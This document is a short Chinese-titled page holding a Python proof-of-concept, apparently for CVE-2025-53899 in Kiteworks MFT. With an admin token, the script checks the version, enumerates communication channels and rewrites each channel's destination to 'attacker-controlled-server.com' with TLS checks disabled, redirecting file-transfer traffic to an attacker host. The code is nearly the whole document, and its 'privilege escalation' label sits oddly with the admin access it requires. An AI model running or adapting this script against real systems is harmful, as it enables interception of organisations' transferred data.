Kiteworks MFT 通信通道配置错误导致权限提升漏洞 (CVE-2025-53899)

# CVE-2025-53899 PoC - Kiteworks MFT Communication Channel Misconfiguration # Note: This PoC demonstrates the conceptual exploitation approach # Actual exploitation requires authenticated admin access import requests import json TARGET = "https://vulnerable-kiteworks-server.com" ADMIN_TOKEN = "your-admin-auth-token" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-53899""" headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Check Kiteworks MFT version version_url = f"{TARGET}/api/v1/system/info" response = requests.get(version_url, headers=headers, verify=False) if response.status_code == 200: version_info = response.json() version = version_info.get("version", "") # Check if version is before 9.1.0 if version and tuple(map(int, version.split('.')[:2])) < (9, 1): print(f"[+] Target is running vulnerable version: {version}") return True else: print(f"[-] Target is patched (version {version})") return False return False def exploit_misconfiguration(): """Exploit the communication channel misconfiguration""" headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Enumerate communication channel configurations channels_url = f"{TARGET}/api/v1/channels" response = requests.get(channels_url, headers=headers, verify=False) if response.status_code == 200: channels = response.json() print(f"[+] Found {len(channels)} communication channels") for channel in channels: channel_id = channel.get("id") destination = channel.get("destination") print(f"[INFO] Channel {channel_id}: destination = {destination}") # Attempt to modify channel destination (requires admin) modify_url = f"{TARGET}/api/v1/channels/{channel_id}" malicious_dest = "attacker-controlled-server.com" modify_data = { "destination": malicious_dest } response = requests.put(modify_url, json=modify_data, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Successfully modified channel {channel_id} destination") print(f"[+] Communication will now be redirected to: {malicious_dest}") return True return False if __name__ == "__main__": print("CVE-2025-53899 - Kiteworks MFT Privilege Escalation via Channel Misconfiguration") print("=" * 80) if check_vulnerability(): print("[*] Target appears vulnerable, attempting exploitation...") exploit_misconfiguration() else: print("[*] Target is not vulnerable or not accessible")